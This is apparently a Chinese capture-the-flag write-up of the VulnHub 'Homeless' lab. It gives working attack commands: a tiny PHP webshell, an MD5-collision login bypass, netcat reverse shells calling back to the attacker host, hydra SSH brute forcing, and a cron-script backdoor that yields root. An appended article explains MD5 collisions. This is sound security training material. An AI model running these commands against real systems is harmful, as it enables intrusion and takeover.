渗透测试之Homeless靶机实战

前言

本次靶机难度中等,还是长了很多见识,值得学习

环境准备

下载Homeless靶机:https://download.vulnhub.com/homeless/Homeless.zip

这里我用 virtual box 打开

主机:kali linux 192.168.100.8

靶机 : Homeless靶机

辅助:windows 192.168.100.9

目标:拿下靶机root权限和里面的flag

信息收集

1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)

扫描同网段下其余存活主机:

netdiscover -r 192.168.100.0/24

这里192.168.100.11就是目标靶机

 

然后用nmap对靶机的进行端口扫描

nmap -p 1-65535 192.168.100.11

只开了22 和80端口 

我们先从web下手

 

构造User-Agent

整个页面都是鸡汤,源代码里面有提示信息

扫描目录,有个robots.txt也有点提示信息

在页面上出现了agaent头部信息

 

那么我们试着抓包改包看看

 

可以看到成功将我们上传的User-Agent打印了出来

但是好像没什么其他返回,猜测是验证了我们上传的User-Agent,如果不是它想要的,就直接打印出来

所以我们需要找到一个它需要的User-Agent上传

 

讲真的这个靶机真的要胆大心细。

 

看下这个提示,仔细检查。

在网页源码这个位置有一个图片,但是在页面上也没有显示出来,这个应该也是个线索

 

 

我们需要在agaent字段填上这个图片的字段 “Cyber​​dog Sledding Portal”(感觉真的挺坑的,而且图片也很小,看不清)

 

然后我们访问下http://192.168.100.11/myuploader_priv/

发现是一个上传点那么我们尝试上传webshell

发现对文件大小有限制

经过一番测试,发现以下信息:

可以上传任意后缀文件
文件大小必须小于8bytes
新上传的文件会覆盖之前上传的文件

我们必须构造一个足够小的php文件

 

构造如下代码写入jlzj.php

<?=`ls`;                   #这句代码在php里等同于<?php echo `ls`;?>  ,是这段代码的缩写

 刚好8字节

发现上传成功,并且路径也暴露出来为/files/shell.php

 

然后我们访问下http://192.168.100.11/myuploader_priv/files/shell.php

 

可以看到有一个可疑txt文件,访问看看

 

 

发现一行密文,各种解密解不出来,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad

 

一个登陆页面,毫无操作空间,突然看到右上角need Hint,点击就会下载这个页面的源码

是登录页面的后台代码,看来需要思考思考如何绕过

重点在于这里

 

要求我们POST的username,password,code值不能相同,但是md5必须类型和值都相等才能重定向到admin.php

说到这里,大家可能想到ctf里常用的md5 compare漏洞,但是注意,这里是全等(===),相信大家都知道=====的区别,全等于会检查类型和值。

所以会比较md5(username),md5(password),md5(code)类型和值,双等于存在漏洞的原因其实是,0E开头的MD5值php解析器会解析为numerical strings,在双等于(==)情况下,会先判断类型,识别为numerical strings,会强制转换为数字,所以0e开头的MD5值都为0,所以才能绕过,然而三等于就比较有脾气了,必须一对一的核对两个字符串,不存在什么类型转换问题,所以开头0e相同,后面不同,也就不满足了

那这时大家肯定会说:那就用数组绕过,反正大家都解析为NULL,然而并不行

 返回Your input can not be the same说明三个值相等了,因为三个值都进行了string强制类型转换

那就没办法绕过了吗?当然有

这里使用一个md5快速碰撞工具fastcoll(下载链接附在文末),以及windows文件hash查看命令certutil -hashfile

 

这里我先简单演示下fastcoll用法

我们先使用fastcoll将一个notepad++.exe文件生成为另外两个不同的notepad++1.exe,notepad++2.exe

然后E盘下面就会多出notepad++1.exe 和notepad++2.exe两个文件夹

 

然后我们用certutil命令看下他们的md5值

 

但是本次实验,靶机需要的3个MD5相同的文件

而fastcoll工具只能一次性生成两个文件,只有这两个文件的MD5值相同,所以这里我们需要借助一个工具tail.exe(下载地址见文末)

 

 

我们先用fastcoll 随机生成2个md5值相同的文件

fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件

 

 

然后我们在通过jlzj1再生成2个MD5相同的值 

D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj1to1 jlzj1to2 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成两个文件的MD5与jlzj1不同

 

我们对比下jlzj1to1 和jlzj1to2的MD5值

然后我们对比下 jlzj1to1 和jlzj1 MD5值

我们发现值是不一样的,我们用notepad++打开这2个文件看看到底区别在哪

 

这个是jlzj1to1的文件

这个是jlzj1的文件

但是我们这里能看到jlzj1to1 和jlzj1有个公共的部分

然后我们再jlzj1to1中选择处它比jlzj1多的部分看下它的大小

 

那么就说明jlzj1to1多了后面的128(256/2)位的内容。

那么接下来我们就要把 这多余的部分提取出来 跟jlzj1结合成新的文件 那么结合出来的文件MD5值就跟jlzj1to1的MD5值一样了

 

C:\Users\Administrator\Desktop\md5>tail.exe -c 128 jlzj1to1 > a #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1to1与jlzj1的MD5不同的原因

 

然后我们结合下,生成新的文件

 

type jlzj1 a > jlzj1to3

type jlzj1 a > jlzj1to4

然后我们再查看下他们的MD5值

我们再看看jlzj1to1和jlzj1to2的MD5

这样我们就有4个MD5相同的文件了

 

我们用windows下的curl.exe(类似于kali curl命令,下载链接附文末)进行POST测试

curl.exe --data-urlencode username@C:\Users\Administrator\Desktop\md5\jlzj1to1 --data-urlencode password@C:\Users\Administrator\Desktop\md5\jlzj1to2 --data-urlencode code@C:\Users\Administrator\Desktop\md5\jlzj1to3 --data-urlencode "remember=1&login=Login" http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

成功跳转并拿到一个session =ipm65uvfi8v4kkuo3mk4ivtad6

 

我们用Cookies保存下

然后访问http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php

 

 

是一个命令输入框,明摆着命令执行拿shell

看来后台未对输入做任何限制

 

bash反弹shell

在kali中输入命令:

 

nc -lvp 4444

 

在代码执行界面输入:

nc -e /bin/bash 192.168.100.8 4444

 

提权

 

 

第一想法是内核提权,但是靶机无法使用wget以及gcc,这样就不能使用溢出漏洞提权了,再试试别的方法

 

我们先切换到home目录

再切到downfall

cd downfall

 

通过ls -la查看目录下的文件

在/home目录下看到一个隐藏文件.secret_message

用cat命令查询发现没有响应,应该是没有权限,说不定downfall才能查看

 

我们再用find看看还有没有其他位置还有没有文件

find / -user downfall 2>/dev/null -ls

 

再试试另一条

find -type f -user root -group downfall 2>/dev/null

发现一个可疑的py脚本

获取下它的详细信息

 

看来需要爆破downfall的密码才行

 

这是还记得robots.txt里面提示的rockyou字典,我们hydra爆破该用户ssh登录试试

 

但是rockyou的字典很大有100M,要跑字典的话需要花费很长很长的时间

可以分别文本或者多线程python脚本去跑

 

但是作者在vulnhub留下了提示:

密码是sec开头的,这就好办了,我们把rockyou.txt里sec开头的密码提取出来

grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

 

然后开始爆破

hydra -l downfall -P pass.txt -t 4 192.168.100.11 ssh

爆破成功,密码为secretlyinlove

登陆ssh

 

先看下.secret_message的内容

果然我们后来找到的文件也是个线索

然后还有一份email  在/var/mail/downfall(可能你看的时候没有这个信息,那么你等下一分钟在cat下)

 

cat /var/mail/downfall  会发现内容很长

仔细看下

 

会发现 每隔一分钟就会生成一次,这样就讲得通啦

那个homeless.py被设置为计划任务,每分钟执行一次,那么我们可以通过修改那个py文件提升权限

 

我们对 /lib/logs/homeless.py进行修改

 

vim  /lib/logs/homeless.py

 

添加以下内容

os.system('/bin/nc -e /bin/bash 192.168.100.8 5555')

还有要在开头加一句 #!/usr/bin/env python 要不然很可能会报错!!!

这样每分钟都会反弹给我们一个shell

 

在kali上开启nc监听,等待系统自动执行脚本,拿到root权限

nc -lvnp 5555

 

 

然后我们cd切换到root目录并且cat flag.txt文件内容

 

 

 

参考链接

fastcoll下载链接:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

tail.exe下载链接:https://www.trisunsoft.com/tail-for-windows.htm

curl.exe下载链接:https://curl.haxx.se/windows/

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
MD5是目前最热门的加密算法,我们通常用MD5值来验证文件的完整性。例如在一些比较正规的下载网站,通常会提供软件的MD5值,这样我们就可以对下载回来的文件用MD5校检软件(如HashX等)做一次MD5校验,以确保我们获得的文件与该站点提供的文件为同一文件。但当两个不同文件的MD5值完全一样时,你还会信任MD5吗? 找出破解MD5加密方法的专家是我国山东大学的王小云教授,这则新闻在以前的软件版块曾详细报道过。但之后MD5的破解一直没有进展,直到最近,国外的科学家研究出了新的MD5碰撞破解方法,可以让两个不同文件的MD5值完全一样,而之前我们一直认为一个文件的MD5值在世界上是独一无二的,这就像一个人克隆了你的指纹然后冒充你一样恐怖! 为了验证MD5值的独一无二性,我们来做一个简单的试验: 在桌面上新建一个文本文档,文件名为“test.txt”,内容为“OfficeBa”。然后将这个文本文档拖动到校验工具HashX中,点击左上角的“Hash File”按钮,得到其MD5值为051cb2917a5b70505e1687dee449c765,然后为文档中的“OfficeBa”加上双引号,保存后再通过HashX进行校检,发现MD5值变成了9ab117400993b70bc9945a9b15749d5d了。可见,一个极细微的变动都会导致文件的MD5值不同! 那么我们能让两个程序文件的MD5一致,却又都能正常运行,并且可以做完全不同的事情么?答案是:“可以!”。要让两个不同文件的MD5值相同,可以通过一款名为fastcoll的小工具来完成我们同样以刚才的test.txt来做试验: -h [--help] 显示选项 -q [--quiet] 简化 -i [-ihv] arg 使用指定的初始值,默认是md5初始值 -p [-prefixfile] arg 使用给定的前缀计算初始值,仍然把数据复制到输出文件中(必须是个文件名) -o [--out] arg 指定输出文件名,此选项必须是最后一个参数,而且两个文件名必须同时指定 默认的是 -o msg1.bin msg2.bin 把解压出来的fastcoll_v1.0.0.5.exe与test.txt放在同一目录,然后在“命令提示符”中输入:“fastcoll_v1.0.0.5.exe -i test.txt -p test.txt -o cbi.exe cbi2.exe”并回车,在同目录中会生成名为cbi.exe和cbi2.exe文件,我们用HashX校验他们的MD5值,可以发现是完全一样的,但是在HashX中用“SHA-1”加密算法进行校验的时候,结果竟然是不同的(SHA-1加密算法生成的结果也是独一无二的)!可见这已经是完全不同的两个文件,但是他们的MD5值竟然完全相同。 如果黑客从网上下载一个工具,给其捆绑上木马,然后通过工具让其MD5值和原文件一样。那么当用户下载了文件后用MD5校验工具进行校验时就会发现带毒文件和原文件MD5值完全一样,就会放心地去运行,结果可想而知。所以,MD5加密已经不再可信!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值